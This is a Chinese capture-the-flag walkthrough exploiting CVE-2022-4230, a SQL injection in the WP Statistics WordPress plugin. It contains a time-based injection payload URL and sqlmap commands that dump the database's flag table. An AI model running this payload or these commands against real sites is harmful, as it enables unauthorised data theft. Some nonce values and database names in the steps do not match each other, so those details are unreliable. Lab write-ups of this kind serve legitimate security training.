CVE-2022-4230

打开什么都没有

使用dirsearch扫描到一个wp-admin

访问wp-admin是一个登陆页面

账号密码都在标题中

登陆后是这个页面

在WP Statistics < 13.2.9 – 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)中，里边有一段对漏洞的描述。

https://wpscan.com/vulnerability/a0e40cfd-b217-481c-8fc4-027a0a023312/

Log in as a user allowed to View WP Statistic and get a nonce via

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

翻译一下就是

以允许查看WP统计信息的用户身份登录，并通过获取随机数

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

并在下面的URL中使用它，该URL将延迟5s

首先通过访问(必须要先登录过后台才行)

访问admin-ajax.php?action=rest-nonce

获得随机数706973b8cb

用浏览器访问，查看一下效果,其中 _wpnonce 的值是上面刚刚获取的随机数

访问：

wp-json/wp-statistics/v2/metabox?_wpnonce=63d5d76be3&name=words&search_engine=aaa

使用bp抓包，右键复制文件到本地

使用sqlmap，爆数据库

Python sqlmap.py -r 保存的文件名 --batch -dbs

爆出来四个库，其中的wordpress库很可疑

爆表

Python sqlmap.py -r 1.txt(保存的文件名) -D wordpress(库名) --tables --batch

爆字段

sqlmap -r 1.txt(保存的文件名) --batch -D wordpress(库名) -T flag(表名) --columns

爆字段数据

Python sqlmap.py -r 1.txt(保存的文件名) --batch

-D wordpress(库名) -T flag(表名) -C flag(字段名) --dump

或者直接省略爆字段名和字段数据直接使用下边的，知道表名就可以得出flag

python sqlmap.py -r 1.txt(保存的文件名) -D atomcms(库名) -T flag(表名) --dump -v --batch